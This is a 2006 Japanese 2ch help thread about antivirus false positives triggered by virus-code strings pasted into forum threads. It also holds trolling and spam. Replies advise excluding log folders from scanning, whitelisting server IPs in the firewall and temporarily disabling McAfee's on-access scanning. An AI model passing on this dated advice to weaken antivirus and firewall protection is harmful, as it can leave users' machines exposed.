これはなぜなんでしょうか？ 419 名前：ひよこ名無しさん mailto:sage [2006/02/01(水) 13:55:37 ID:???] >>418 >>371の問題でもないってことでしょうか。 371の暫定対処をした場合はどうなりますか？ 420 名前：418 [2006/02/01(水) 14:05:32 ID:S10H/e1R] >>419 ありがとうごぜーます。 呼んできます。 421 名前：ひよこ名無しさん [2006/02/02(木) 16:52:23 ID:KtbG8KDn] ■>>1-9を読みましたか？　　　　　　　　　　　 『YES』 マカフィーを使っているのですがdatファイルの入ったzipファイルを解凍しようと すると「Exploit-mhtresir.gen」が発見されたので削除しますと言われzipファイルの中のdatを 他の場所に保存することもdatファイルを使うことも出来ないのですがどうすれば zipファイルを解凍して中のdatファイルを使えるようになりますか？ OSはXP アンチウイルスソフトはManaged virusScan plas AntiSpywareです。 お願いします。 422 名前：ひよこ名無しさん [2006/02/02(木) 17:55:04 ID:KtbG8KDn] 他できいてみます。 423 名前：名無しさん＠お腹いぱーい。 mailto:sage [2006/02/02(木) 23:44:24 ID:??? BE:7074195- ] >>421-422 > マカフィーを使っている > datファイルの入ったzipファイル ２ちゃんねるブラウザのログファイルでは無い場合はこちらのスレでは扱っていません。 このスレでは「ノートントラップ」は２ちゃんねる（掲示板）にウイルスコードが貼り付けられ Webブラウザや２ちゃんねるブラウザのログでノートンが誤反応することを指しています。 pc7.2ch.net/test/read.cgi/pcqa/1138826147/441 そのzipファイルがアップローダーで拾ったものならマカフィーは正常な反応を示しているかと思います。 念のためにオンラインスキャンしてみてください。 www.trendmicro.co.jp/hcall/index.asp マカフィーについて以降はより詳しいあなたの環境（zipファイルの出所・何のアプリケーションに使われているのか等）を書いて 以下のスレにここから誘導されたことも併記してお尋ねください。 がんばれマカフィー Part.23 / ガンバレMcAfee pc8.2ch.net/test/read.cgi/sec/1136576534/ もしマカフィーが２ちゃんねるブラウザのログで反応しているのならお手数ですがもう一度こちらに来てください。 424 名前：ひよこ名無しさん [2006/02/03(金) 09:31:43 ID:ZZST2Rw7] >>423 ご丁寧に解答を頂きありがとうございます。 datファイルの入ったzipファイルはある２ちゃんねるのスレのまとめサイト からダウンロードしたファイルです。 オンラインスキャンでは何も見つからなかったです。 >もしマカフィーが２ちゃんねるブラウザのログで反応しているのなら >お手数ですがもう一度こちらに来てください datファイルは2ちゃんねるのスレッドのdatファイルなのですが こちらでよろしいでしょうか？お願いします。 425 名前：421 [2006/02/03(金) 10:12:08 ID:ZZST2Rw7] すいません>>421の者です。 426 名前：名無しさん＠お腹いぱーい。 mailto:sage [2006/02/03(金) 13:48:07 ID:??? BE:7545986- ] >>424-425 おそらくそれはウイルスコードにマカフィーが誤反応しているものだと思われます。 他で教えていただいたのですがマカフィーにはノートンのようなウイルススキャンでフォルダ・ファイルの除外項目が無いそうです。 以下、現在の状況での対処方法です。 ２ちゃんねるブラウザのJane派生のJaneViewでWickedStr.txtに手動で反応する文字列の一部を追記する。 誤反応スクリプト無効化ソフトttp://www.geocities.jp/cen_hp/program3.htmlのアップデートを待って（現在マカフィートラップには対応していません） 　ActiveShieldを無効→対象スレを取得→「誤反応スクリプト無効化ソフト」を使ってウイルスコードを無効→ActiveShield有効 ２ちゃんねるブラウザMonoViewのアップデートを待って（現在マカフィートラップには対応していません）読み込む。 一番いい方法はマカフィーに該当するdatファイルを送って対策を促すことだと思います。 マカフィーユーザーで既に対処の仕方を知っている方がいらっしゃるのかもしれませんので >>423のマカフィーのスレでこちらのことを聞いてみていただけませんでしょうか。 対処方法がありましたらこちらのスレにもお知らせいただけると幸いです。 また参考のためにも今後もこちらに来ていただけると助かります。 ノートントラップとマカフィートラップのウイルスコードは違うようなので ノートンでは反応しないでマカフィーが誤反応したりまたその逆もあります。 長々としましたがマカフィートラップについての決定打が見当たらないので手探りのレスを御許しください。 参考にマカフィートラップと思われるやり取りの過去ログです。 pc5.2ch.net/test/read.cgi/sec/1106492538/72-77+553-555+558-559+563 ttp://makimo.to:8000/2ch/pc5_sec/1106/1106492538.html qb5.2ch.net/test/read.cgi/saku/1097313582/62-65n ttp://jbbs.livedoor.jp/bbs/read.cgi/computer/10301/1071925088/373-378 427 名前：421 [2006/02/03(金) 14:40:06 ID:ZZST2Rw7] >>426 わかりやすく説明していただき、 関連スレまで貼っていただいてありがとうございます。 ただ解決まではいけなかったので>>423の方で聞かせて頂きます。 何かわかりましたらこちらにも報告させて頂きますね。 ありがとうございました。 428 名前：ひよこ名無しさん mailto:sage [2006/02/06(月) 19:42:50 ID:???] なんかjaneでこのスレ読むとレス番がずれまくりなんですけど これ直す方法はないんでしょうか…？何度再読み込みしても ４２１さんが４０６さんになっちゃいます…↓ >　406 名前：421[] 投稿日：2006/02/03(金) 14:40:06 ID:ZZST2Rw7 ｌogフォルダの除外設定はしてあるので、先生も怒ってないんですが… ノートン２００４でｘｐ。専ブラはｊａｎｅDoeView α051128です 429 名前：ひよこ名無しさん [2006/02/07(火) 00:57:31 ID:3ZNXNyQs] XPに最初から入ってるノートンをアンインスコしたらもう再インスコって出来ませんかね？？ 430 名前：名無しさん＠お腹いぱーい。 mailto:sage [2006/02/07(火) 01:18:43 ID:??? BE:5659294- ] >>428 一旦ログを破棄してから読み込みでどうですか。 それと>>371にもありますがNIS(NPF)のファイアーウォールを誤作動させるコードもあるので 以下の設定もしてみてください。 現在、2ちゃんねるではNIS(NPF)のファイアーウォールを誤作動させるコードの書き込みが出回っています。 アンチウイルス(NAV)は反応しないのでファイアーウォールの設定を見直さなければなりませんがあくまで暫定的処置です。 ２chNIS問題まとめページ mickey.mirv.net/2chnis.html ノートン応急対策 info.2ch.net/wiki/pukiwiki.php?%CA%E4%C2%AD%A4%C8%CA%E4%B4%B0#Norton_Emergency_measures ansitu.xrea.jp/guidance/?NortonInternetSecurity#Emergency_measures ansitu.xrea.jp/guidance/?Trap#Emergency_measures wiki.livedoor.jp/kizyo1234/d/%a5%ce%a1%bc%a5%c8%a5%f3%b4%d8%cf%a2 この場合2ちゃんねるに対してファイアーウォールの機能は働きません。 また、同様なコードが2ちゃんねるではない外部板に貼られていても上記ページのような設定はお勧めしません。 シマンテックの対応待ちです。 アンチウイルス(NAV)の設定は>>1 ansitu.xrea.jp/guidance/?Trap#NortonTrap 431 名前：428 mailto:sage [2006/02/07(火) 06:33:12 ID:???] >>430 丁寧なレスありがとうございました。火壁の設定してログ捨ててみたら ズレてるの直りました！感謝です！ 432 名前：421 [2006/02/07(火) 09:35:42 ID:mnvRCCNZ] 以前こちらで質問させて頂いて誘導された者です。 解決方法がわかりましたのでその報告をさせて頂きます。 結論からいうとマカフィーが起動している時にzipファイルの中からdatファイルを 出す方法はありませんでした。 ただマカフィーの自動スキャンを一時的に止めてその間にzipファイルの中の datファイルを取り出すことができました。 一時的に自動スキャンを止める方法は（以下コピペ） www.mcafee.com/japan/pqa/aMcAfeeMvs.asp?ancQno=MV05040434&ancProd=McAfeeMvs >また、管理者権限でコンピュータにログオンし、[Ctrl]キーと[Shift]キーを押しながら >タスクトレイのアイコンを右クリックすると、更に隠しメニューが表示されます。 >この隠しメニューから通常のメニューに加えて以下の操作を行うことができます。 >・隔離アイテムの一覧 >・VShieldを無効にする/VShieldを有効にする >・終了 とのことでした。実際に試したところ成功いたしました。 またｖｂｓウイルスソースが多々隔離されており消したところかなり早くなりました。 丁寧に教えてくれた皆さん、ありがとうございました。 433 名前：ひよこ名無しさん mailto:sage [2006/02/08(水) 17:28:05 ID:???] >>430 >この場合2ちゃんねるに対してファイアーウォールの機能は働きません。 ということですが、それはセキュリティ的には問題ないレベルなんですか？ あと↓によると ２chNIS問題まとめページ mickey.mirv.net/2chnis.html >以下の対処方法では除外するIPアドレスの範囲からの攻撃に対してNISは反応しなくなります。 とありますが、２ちゃん以外の場所で除外したIPアドレスを利用した 悪意ある攻撃があった場合は大丈夫なんでしょうか？ それとも除外したIPアドレスは２ちゃん以外では使われてないのでしょうか？ 分かる方いらっしゃったらご教授お願いします 434 名前：名無しさん＠お腹いぱーい。 mailto:sage [2006/02/08(水) 22:45:25 ID:??? BE:6288858- ] >>432 お知らせありがとうございます。 マカフィーについての解説を参照できますので助かりました。 >>433 > ２ちゃん以外の場所で除外したIPアドレスを利用した > 悪意ある攻撃があった場合は大丈夫なんでしょうか？ ２ちゃんねる以外のIPアドレスを除外することはここではお勧めしません。 また、２ちゃんねるからの攻撃・進入等はいままではありませんでした。 過去には踏み台pcを規制するための２ちゃんねるからのインバウンド TCP 接続信号を受け入れなければいけなかったこともあります。 pc.2ch.net/sec/kako/1037/10377/1037772137.html の7 只、何事も絶対安全ということはないのでセキュ板本スレを見るようにしてください。 なにかあったら祭りになりますので。 【ﾉｰﾄﾝ】ｲﾝﾀｰﾈｯﾄｾｷｭﾘﾃｨ Ver.82【2006】 pc8.2ch.net/test/read.cgi/sec/1138802896/ > それとも除外したIPアドレスは２ちゃん以外では使われてないのでしょうか？ おそらくないはずですが、２ちゃんねるのIPアドレスそのものに関しては 以下のスレに誘導されたことを明記してお聞きください。 質問・雑談スレ215＠運用情報板 qb5.2ch.net/test/read.cgi/operate/1139244364/ 関連スレ ノートン誤作動対策本部 qb5.2ch.net/test/read.cgi/operate/1133161720/ 435 名前：433 mailto:sage [2006/02/08(水) 23:50:59 ID:???] >>434 お答え頂いてありがとうございました 紹介して頂いたスレはお気に入りに登録しました あと運用情報板に質問して、疑問も解消しました ありがとうございました 436 名前：ひよこ名無しさん mailto:sage [2006/02/18(土) 20:12:50 ID:???] ここできいていいのかあれだけど、 updateして再起動してからjane開いて更新しようとすると 中危険度の小窓がいちいち表示されるようになった 「jane.exeがインターネットにアクセスしようとしています」 security無効にすると更新できるけど、前は有効のままで更新できてたの・・ 解除方法おしえてくださいm(_ _)m 437 名前：ひよこ名無しさん mailto:sage [2006/02/18(土) 20:37:00 ID:???] FWが反応してるだけみたいだね。 アプリ登録するだけじゃないのかな。 まあ、ノートン使ってないんでFWの一般論だけど。 438 名前：ひよこ名無しさん [2006/02/24(金) 07:54:27 ID:/hbjD2Uq] 2chブラウザのログ保存フォルダを「除外」に設定して、2ちゃんのスレで ウイルス踏んじゃったらどうなるんですか？ノートンは守ってくれないんですか？ 439 名前：ひよこ名無しさん mailto:sage [2006/02/24(金) 09:20:24 ID:???] そんなノートンは窓から捨てろｗｗｗｗｗｗｗｗｗｗｗ 440 名前：ひよこ名無しさん mailto:sage [2006/02/24(金) 14:13:12 ID:???] >>438 2chブラウザのログ保存フォルダにウィルスが入り込むことはありません。 ノートンがログ保存フォルダからウィルスを見つけたと言い出しても、スレタイにある通り誤認です。 リンクをクリックして起動したWebブラウザがウィルスのあるページを読み込もうとしたときは ちゃんと守ってくれます。 441 名前：ひよこ名無しさん mailto:sage [2006/02/24(金) 23:01:38 ID:???] >>438 　　　　　　　　　　　　　　＿＿ 　　　　　　　　　　　　　／;;;;;;;;;;;;;＼ 　　　　　　　　　　　　/;;:::::::::::::::::::::::＼ 　　　　　　　∈＝━/,,;;:::::::::::::::::::::::::.;ヽ━＝∋ 　　　　　　　　　　　 L::;;,＿_　　　　　..:::ゝ 　　　　　　　　　　//;;;;::::::..￣￣￣￣..::::;;;ヽ 　　　　　　　　　 /　;;;;;;;;:::::::::::;;;;;;;;;;;;;::::::::;;;;; ヽ 　　　　　　　　 /ｊ/三三三三三三三三三三ヾ､ 　　　　　　　 　l::||::::　　　　　　　　　　　　 　|l　　 　　　　　　　 ／￣＼ ヽ-=・=-′ヽ-=・=-′ ||　　 　　　　　　r┤　　　 ﾄ:::::　＼＿＿_／ 　 　 || 　　 　＜信じろ！ 　　　　　/　 ＼＿／ ヽ:::.　　＼／　　　　,ノ　　　 　　　 　 |　　　＿(￣　ｌ―---oo-――'"ヽ＿＿ 　　　 　 |　　　＿)＿ノヽ＼　　ハ ／／ /　　　 ヽ 　　 　　　　　ヽ＿＿__)ノ　 　　 ￣￣￣　　 /　　　　　ヽ､ 442 名前：ひよこ名無しさん [2006/02/24(金) 23:29:37 ID:/hbjD2Uq] >>440 ありがとうございます 443 名前：ひよこ名無しさん [2006/02/28(火) 01:33:27 ID:icpaH3Er] JANE　DOE　STYLEでvbs踏んで、20分後くらいから何かプログラムを実行しようとする度に ノートンが「xxxxxが1つ以上の認識されないモジュールを使ってインターネットにアクセスしようとしています」 と出て、許可にしないとプログラム実行されず、何も出来ないのですが、これはウィルスに感染してるのでしょうか？ スキャンしても検出されず、過去ログ検索対象外にしても出続けます。 知恵をください。お願いします。 444 名前：ひよこ名無しさん [2006/02/28(火) 09:18:46 ID:GU2WNsCd] >>443 ＶＢＳを踏んだってのはソースが貼り付けてあるスレを開いたってこと？ それともＶＢＳが実行されたってこと？ 445 名前：443 mailto:sage [2006/02/28(火) 11:01:38 ID:???] >>444 スレを開いただけです。 遮断ばかりしてたらいつの間にか上記のような状態になってしまってまして、 通信許可にしないと、どのプログラムも動きません。 446 名前：ひよこ名無しさん mailto:sage [2006/03/01(水) 15:04:09 ID:???] >>445 リストから全部削除しろ　バカ WindowsUpdateしていたら何にも感染などしねえわ 447 名前：ひよこ名無しさん mailto:sage [2006/03/01(水) 21:25:32 ID:???] >>446 > WindowsUpdateしていたら何にも感染などしねえわ それはどうかな？ 448 名前：ひよこ名無しさん mailto:sage [2006/03/02(木) 19:57:05 ID:???] >>371で板の見れない問題は解決したのですが、これは危険なのですか？ また暫定的処置という事ですが、なんらかの対応はあったのでしょうか？ 449 名前：ひよこ名無しさん mailto:sage [2006/03/02(木) 21:46:27 ID:???] >>448 202.222.31.214 206.223.147.35 （ｒｙって数字が並んでるでしょ。これは2chの鯖の IPをそのまま列挙して「この鯖は誤作動を引き起こす可能性があるだけで実害はないから、 警告しなくていいよ」という指示だから、処置を適切にしてさえいれば、あんまり 深刻に考えないで良いです。 450 名前：ひよこ名無しさん mailto:sage [2006/03/02(木) 21:49:48 ID:???] >>446 Microsft Update 入れてください（＞＜） 451 名前：448 mailto:sage [2006/03/03(金) 18:37:00 ID:???] >>449 サンクス 452 名前：ひよこ名無しさん mailto:sage [2006/03/04(土) 05:32:46 ID:???] avastがvbsウィルスのソースに誤反応 ってスレも立ってほしいなあ 453 名前：ひよこ名無しさん [2006/03/13(月) 18:59:55 ID:V3zGYCXt] u 454 名前：ひよこ名無しさん mailto:sage [2006/03/13(月) 21:10:07 ID:???] 元祖ぶる殿 ◆U/gDqFZzsY の 自作自演 pc.2ch.net/test/read.cgi/win/1021112227/511-514 511 名前：Aya ◆U.S.S.po 投稿日：02/05/19 13:13 WIN2000を使っています。 一気にデスクトップを表示できるタスクバーにあったアイコン（ボードにペンのような印）が なくなってしまいました。 スタート→設定→タスクバー〜を見ても、タスクバー上で右クリックをしても 復活させ方が分かりません。 また左下にデスクトップへショートカット（？）出来るあのアイコンを出すにはどうしたら良いでしょう。 512 名前：Aya ◆U.S.S.po 投稿日：02/05/19 13:13 >>511 [Shell] Command=2 IconFile=explorer.exe,3 [Taskbar] Command=ToggleDesktop これを デスクトップの表示.scf として保存、 クイック起動バーにD&D。 513 名前：名無し~3.EXE 投稿日：02/05/19 13:17 >>511-512 自作自演失敗？ 514 名前：名無し~3.EXE 投稿日：02/05/19 13:19 でもなんで自演なんてするの？ 455 名前：ひよこ名無しさん [2006/03/21(火) 09:43:56 ID:xHVuEeZu] u 456 名前：ひよこ名無しさん [2006/03/23(木) 14:11:32 ID:bCv+njJc] ｷﾀ━━ <body onload=window()> ━━━ !! 457 名前：ひよこ名無しさん mailto:sage [2006/03/23(木) 14:12:39 ID:???] >>456 さっさと消えろ　バカ 458 名前：ひよこ名無しさん [2006/03/23(木) 14:16:47 ID:bCv+njJc] 即反応かよ 459 名前：ひよこ名無しさん mailto:sage [2006/03/23(木) 14:18:02 ID:???] 元祖ぶる殿 ◆U/gDqFZzsY の自作自演 pc.2ch.net/test/read.cgi/pcqa/1021802095/837-846 837 名前：ひよこ名無しさん 投稿日：02/05/20 08:35 ID:GarmVKYa あまりに馬鹿馬鹿しい質問ですいません。 Windows Media Plyaer と　KbMedia Player 　がパソコンの中にあるのですが、ＭＰ３ファイルをクリックすると Windows Media Plyaer　で再生してしまうのですが、ダブルクリックした際に後者で再生するようにはどうしたらいいんでしょうか？ 838 名前：ひよこ名無しさん 投稿日：02/05/20 08:36 ID:??? >>837 またきたのか？ Windowsの入門書以上の書籍買って関連付けに関して理解を深めろ。 839 名前：Aya ◆U.S.S.po 投稿日：02/05/20 08:36 ID:GarmVKYa >>837 １.mp3のファイルをクリック ２.「アプリケーションから開く」を選択 ３.プログラムの選択 ４．「これらのファイルを開くときは、 　　いつもこのアプリケーションを使う」にチェック ５．OK 840 名前：ひよこ名無しさん 投稿日：02/05/20 08:37 ID:??? >>839 自作自演するときはIDを消しましょうね(ﾜﾗ 460 名前：ひよこ名無しさん mailto:sage [2006/03/23(木) 22:58:37 ID:???] 元祖ぶる殿 ◆U/gDqFZzsY の 自作自演 pc.2ch.net/test/read.cgi/win/1021112227/511-514 511 名前：Aya ◆U.S.S.po 投稿日：02/05/19 13:13 WIN2000を使っています。 一気にデスクトップを表示できるタスクバーにあったアイコン（ボードにペンのような印）が なくなってしまいました。 スタート→設定→タスクバー〜を見ても、タスクバー上で右クリックをしても 復活させ方が分かりません。 また左下にデスクトップへショートカット（？）出来るあのアイコンを出すにはどうしたら良いでしょう。 512 名前：Aya ◆U.S.S.po 投稿日：02/05/19 13:13 >>511 [Shell] Command=2 IconFile=explorer.exe,3 [Taskbar] Command=ToggleDesktop これを デスクトップの表示.scf として保存、 クイック起動バーにD&D。 513 名前：名無し~3.EXE 投稿日：02/05/19 13:17 >>511-512 自作自演失敗？ 514 名前：名無し~3.EXE 投稿日：02/05/19 13:19 でもなんで自演なんてするの？ 461 名前：ひよこ名無しさん [2006/03/24(金) 12:13:15 ID:+3ig7Sae] 総合質問のスレッドで質問したところ、ここに誘導されたので、 再度質問させていただきます。マルチになってしまいますが、お願いします。 OS:XPhome 使用ソフト:ノートンアンチウイルス２００６ ウイルスコード的なワームのようなものが貼られたらしく、ノートンが侵入警告を出して、 その後、そのスレとセキュリティ板にアクセスできなくなりました。これは無害でしょうか？あと対処法も教えてください。 ノートンが出したメッセージは、よく覚えてませんが、「2ch」の文字列が始のほうにありました。 ログを削除したのでスレ番号＆レス番号までは分かりませんが、初心者の質問板の物凄い勢いで誰かが質問に答える スレです。昨日の１１：３０分ほどのレスだったと思います。 462 名前：ひよこ名無しさん [2006/03/24(金) 12:14:12 ID:+3ig7Sae] ちなみにjane doe styleで２ちゃんねるを閲覧しています。 463 名前：ひよこ名無しさん mailto:sage [2006/03/24(金) 12:15:48 ID:???] >461 質問する前にこのスレを読めと書いたはずだが 464 名前：ひよこ名無しさん mailto:sage [2006/03/24(金) 12:15:50 ID:???] >>461-462 おまえバカだろ 465 名前：ひよこ名無しさん mailto:sage [2006/03/24(金) 12:27:10 ID:???] >>461 >>4 466 名前：ひよこ名無しさん [2006/03/24(金) 12:35:50 ID:+3ig7Sae] ラブレターなどのウイルスではなくノートンプロテクションセンターが、侵入の試みを 遮断みたいなのが出るんですけど、このスレを全部読んでもどれが自分の症状の 解決策なのか分かりません・・・・。 ログのオートプロテクトの除外と手動スキャンの除外は前からしてあるのですが・・・・。 >>4を見ても何がなんだか・・・・。 467 名前：ひよこ名無しさん mailto:sage [2006/03/24(金) 12:40:54 ID:???] >>466 おまえが初めに質問したスレでの自分へのレスをちゃんとよめや 468 名前：釣り氏 ◆RaigyoS2No mailto:sage [2006/03/24(金) 12:53:57 ID:???] >>467 見てきましたが、当方インターネットセキュリティではなくアンチウイルスなので 書いてあることができません・・・・。 469 名前：釣り氏 ◆RaigyoS2No [2006/03/24(金) 12:54:46 ID:+3ig7Sae] これは他スレで使ってるコテなので気にしないでください。 470 名前：ひよこ名無しさん mailto:sage [2006/03/24(金) 12:57:39 ID:???] ↓出身の方ですか。ご苦労様です。 www.redout.net/data/osietekun.html 471 名前：ひよこ名無しさん mailto:sage [2006/03/24(金) 12:58:06 ID:???] >>469 何だ釣りなのか。 思いっきり釣られちゃったよ(´∀｀) なかなかの釣り師ですね。 472 名前：釣り氏 ◆RaigyoS2No [2006/03/24(金) 12:58:48 ID:+3ig7Sae] 具体的にどのレスの何を実行すればいいかということだけでも教えてくれませんか？ 473 名前：釣り氏 ◆RaigyoS2No [2006/03/24(金) 12:59:42 ID:+3ig7Sae] >>471 このコテはリアルで魚釣りなんで・・・・。 マジレスお願いします・・・。 474 名前：ひよこ名無しさん mailto:sage [2006/03/24(金) 13:00:55 ID:???] 釣り氏 ◆RaigyoS2Noで検索 ttp://www.google.com/search?hl=ja&q=%E9%87%A3%E3%82%8A%E6%B0%8F+%E2%97%86RaigyoS2No&btnG=Google+%E6%A4%9C%E7%B4%A2 475 名前：釣り氏 ◆RaigyoS2No [2006/03/24(金) 13:04:32 ID:+3ig7Sae] すみません。これ以上いると荒れるようなので、これで失礼します・・・。 質問は却下ということでお願いします・・・・。 476 名前：ひよこ名無しさん mailto:sage [2006/03/24(金) 13:05:10 ID:???] >>473 何の魚を飼ってたの？環境省にごめんなさいしなきゃいけなかったなんて。。 477 名前：ひよこ名無しさん mailto:sage [2006/03/24(金) 13:08:04 ID:???] >>476 ブルーギル 478 名前：ひよこ名無しさん mailto:sage [2006/03/24(金) 13:08:25 ID:???] >>473 本当に「インターネットセキュリティではなくアンチウイルス」なら、これが 参考になるかも(自分は2年ほど前にノートンやめたので確認できないが) qb5.2ch.net/test/read.cgi/operate/1142464918/781 479 名前：ひよこ名無しさん mailto:sage [2006/03/24(金) 13:10:03 ID:???] >>477 (ﾉ∀`) ｱﾁｬｰ 480 名前：名無しさん＠お腹いぱーい。 mailto:sage [2006/03/24(金) 21:51:35 ID:???] 緊急的に変えてみました。 info.2ch.net/wiki/pukiwiki.php?%CA%E4%C2%AD%A4%C8%CA%E4%B4%B0#Norton_Emergency_measures 他にNAVのワーム誤反応に関する対処方法が見つかりましたらお知らせください。 481 名前：ひよこ名無しさん [2006/03/24(金) 23:32:32 ID:5GkwjhYT] >>480の誤反応スクリプトやろうと思ったけど、オートプロテクトを無効にしても攻撃を遮断するんだよね。 だからできなかった。まあIEで読めるからいいんだけどね。 482 名前：ひよこ名無しさん [2006/03/25(土) 00:28:09 ID:yFt5KPiX] カサマツさん 483 名前：ひよこ名無しさん mailto:sage [2006/03/25(土) 10:37:30 ID:???] ぼるぷー ◆sTCCYJJ/Lo の 自作自演 pc.2ch.net/test/read.cgi/win/1021112227/511-514 511 名前：Aya ◆U.S.S.po 投稿日：02/05/19 13:13 WIN2000を使っています。 一気にデスクトップを表示できるタスクバーにあったアイコン（ボードにペンのような印）が なくなってしまいました。 スタート→設定→タスクバー〜を見ても、タスクバー上で右クリックをしても 復活させ方が分かりません。 また左下にデスクトップへショートカット（？）出来るあのアイコンを出すにはどうしたら良いでしょう。 512 名前：Aya ◆U.S.S.po 投稿日：02/05/19 13:13 >>511 [Shell] Command=2 IconFile=explorer.exe,3 [Taskbar] Command=ToggleDesktop これを デスクトップの表示.scf として保存、 クイック起動バーにD&D。 513 名前：名無し~3.EXE 投稿日：02/05/19 13:17 >>511-512 自作自演失敗？ 514 名前：名無し~3.EXE 投稿日：02/05/19 13:19 でもなんで自演なんてするの？ 484 名前：ひよこ名無しさん [2006/03/25(土) 15:16:53 ID:yFt5KPiX] 誰か答えてくれ。 485 名前：Today+ 210-194-140-30.rev.home.ne.jp+Dinner mailto:sage [2006/03/25(土) 15:28:44 ID:???] あれ？ 486 名前：ひよこ名無しさん mailto:sage [2006/03/25(土) 21:06:36 ID:???] ◆OCHZHO05EY の 自作自演 pc.2ch.net/test/read.cgi/win/1021112227/511-514 511 名前：Aya ◆U.S.S.po 投稿日：02/05/19 13:13 WIN2000を使っています。 一気にデスクトップを表示できるタスクバーにあったアイコン（ボードにペンのような印）が なくなってしまいました。 スタート→設定→タスクバー〜を見ても、タスクバー上で右クリックをしても 復活させ方が分かりません。 また左下にデスクトップへショートカット（？）出来るあのアイコンを出すにはどうしたら良いでしょう。 512 名前：Aya ◆U.S.S.po 投稿日：02/05/19 13:13 >>511 [Shell] Command=2 IconFile=explorer.exe,3 [Taskbar] Command=ToggleDesktop これを デスクトップの表示.scf として保存、 クイック起動バーにD&D。 513 名前：名無し~3.EXE 投稿日：02/05/19 13:17 >>511-512 自作自演失敗？ 514 名前：名無し~3.EXE 投稿日：02/05/19 13:19 でもなんで自演なんてするの？ 487 名前：ひよこ名無しさん mailto:sage [2006/03/26(日) 00:25:22 ID:???] >>480 こういうサイトって新鯖に変わるごとに新しい鯖のアドレス追加してるのですか？ それとも、それは手動で追加しないと駄目なのですか？ 488 名前：ひよこ名無しさん mailto:sage [2006/03/26(日) 01:50:45 ID:???] >>487 手動で追加してください。 489 名前：ひよこ名無しさん mailto:sage [2006/03/26(日) 10:00:20 ID:???] >>487 手動ですね　ある意味DNS鯖と逆を行く作業な訳ですから 490 名前：ひよこ名無しさん [2006/03/26(日) 13:41:53 ID:L69KVZ4+] >>1を読んだんですが、 ログ保存フォルダを手動スキャンから除外するのは何故なんでしょうか？ 491 名前：ひよこ名無しさん [2006/03/26(日) 13:42:57 ID:We2xmHRt] ｽｰﾊﾟｰ競馬のﾓﾊﾞｲﾙ投票(通信費以外無料)で 【宮記念】みんなでｳｲﾝｸﾘｭｰｶﾞｰを1番人気にしよう! ex14.2ch.net/test/read.cgi/keiba/1143011764 モバイル ↓ mob.cx-keiba.jp PC ↓ sports.nifty.com/superkeiba/ フジテレビ１５：００〜から始まるスーパー競馬で みんなウインガー(本来はありえない人気薄の馬ｗ)に投票して 若槻千夏と福原アナのリアクション見ようぜｗｗｗ 頼むおまいら！！フジVSvip、vipperの力を見せてくれ！！！！！ 　　　　　　　　　　　　　　　　　 ）　∩∩　( 　 ┏┓　 ┏━━┓　　　　　 .）　　|.巾|　　（　　　　　.┏┓┏┓┏┓┏┓ ┏┛┗┓┃ ■　┃┏━━━━ ノ人ヽ ━━━━┓┃┃┃┃┃┃┃┃ ┣-　 -┫┃┏┓┃┗━━━／／━＼＼━━━┛┃┃┃┃┃┃┃┃ ┗┓┏┛┗┛┃┃　　 Λ_Λ／　　∩∩ ＼　Λ_Λ 　 ┣┫┣┫┣┫┣┫ 　 ┗┛　　　　 ┗┛　　(　´∀)　 　|.┃|　　　(∀｀　) .┗┛┗┛┗┛┗┛ 　　　　　　　　 　　　　／　⌒＼　 ノ 人ニニニニニ⌒＼ 　　　　　　　　　　　　/　　／＼ Ｙ ／　 　　　　　　＼　　　＼ 　　　　　　　　　　 ノ　　/ ＿＿￣＿＿＿_＿＿＿　　 ヽ　　　ヽ　　ノ⌒、 　　　　　ノ＾ヽ　 （（ 　/ |||┌─────┐ �J　|　　　|　 入　Y⌒／＼） 　　　 　|_/　＼`Ｙ　／　||| |ヽ(ﾟ∀ﾟ)ノ　　　.|　◎　| ／　|　/　＼／ 　 ／／　　 ／＼／　　.||| |　（　 ) ヽ(ﾟ∀ﾟ).|　　　.|　─ し／＼）　　＼＼ ／／／　 / ／　　　　　||| | <　< (ﾟ∀ﾟ)ﾉ　 | |||||| | ＼　　　　　　　＼　＼＼ 　　　　　　　　　　　　　　　スーパー競馬 492 名前：ひよこ名無しさん mailto:sage [2006/03/26(日) 14:18:37 ID:???] >>490 誤反応させないようにするためじゃないの？ 493 名前：ひよこ名無しさん mailto:sage [2006/03/26(日) 14:20:11 ID:???] >>490 本当に>>1を読んだなら理解できるはず。 簡単にまとめると、ノートンはウィルスとして動作しないものまでウィルスと判定する。 (部分的なパターン照合だけで判定するため) ノートンのこの性質を悪用して、ノートンを反応させる文字列を2chに貼りまくるヴァカが大勢いる。 ノートン側も2ch側も対応する気はなく、ノートンユーザーが各自対策するしかない。 「手動スキャン」に限って言えば、自動で駆除／隔離しないようにして、いちいち 手動で対応してもよいなら敢えて除外しないという選択もあり。 494 名前：ひよこ名無しさん [2006/03/27(月) 01:29:18 ID:l0NeUula] Avastですが191の方法でも駄目です。 私だけでもないようです 524 ：名無しさん＠お腹いっぱい。 ：2005/06/11(土) 16:44:33 こんにちは。質問です。 ２ちゃんを見てると時々ウイルスが発見されて スレ自体が見られなくなるんですが、良い解決策があれば教えてください。 ２ちゃんブラウザはギコナビ、アンチウイルスはavast!です。 発見されるウイルスはWin32:Mhtplo-26 [Trj]ってのです。 avastの設定の「例外」に ２ちゃんのlogファイルを入れてみたんですがそれでも駄目でした。 495 名前：ひよこ名無しさん mailto:sage [2006/03/27(月) 01:29:55 ID:???] >>494 ウイルス持って逃げろ。 496 名前：ひよこ名無しさん [2006/03/27(月) 03:08:39 ID:l0NeUula] 意味がわかりません 497 名前：ひよこ名無しさん mailto:sage [2006/03/27(月) 07:11:47 ID:???] 最近PCが重い！ │ ├　1．PCを買い換える │　　　　　　　　　　　　　　　　　　　　　　　　　　　 　　 │　　　　［まちがい］　　　　　　　　　　　　　　　　　　　　　　　　　 │　　　　　 確実な方法ではありますが、お金がかかるのが難点です。 │　　　　 　それよりも別の手段を探してみませんか？ │　　　　　　ちょっとしたフリーウェアでなんとかなるかも？ │　　　　　　　　　　　　　　↑ │　　　　　　　　　　ココがポイント！ │ └　2．RegSeekerを使う 　　　　　　[せいかい] Regseeker ttp://www.hoverdesk.net/freeware.htm RegSeeker1.3Beta日本語ファイル ttp://downloads.at.infoseek.co.jp/ 498 名前：ひよこ名無しさん mailto:sage [2006/03/27(月) 15:04:09 ID:???] 漏れなくシステム破壊の特典あり！！！ 499 名前：ひよこ名無しさん [2006/03/27(月) 15:18:31 ID:l0NeUula] 意味がわかりません 500 名前：ひよこ名無しさん mailto:sage [2006/03/27(月) 16:03:22 ID:???] >>494 ここにavastユーザーはあまりこないので 誘導されたこととテンプレをよく読んで より詳しい環境を添えて↓で聞いてください。 avast！ 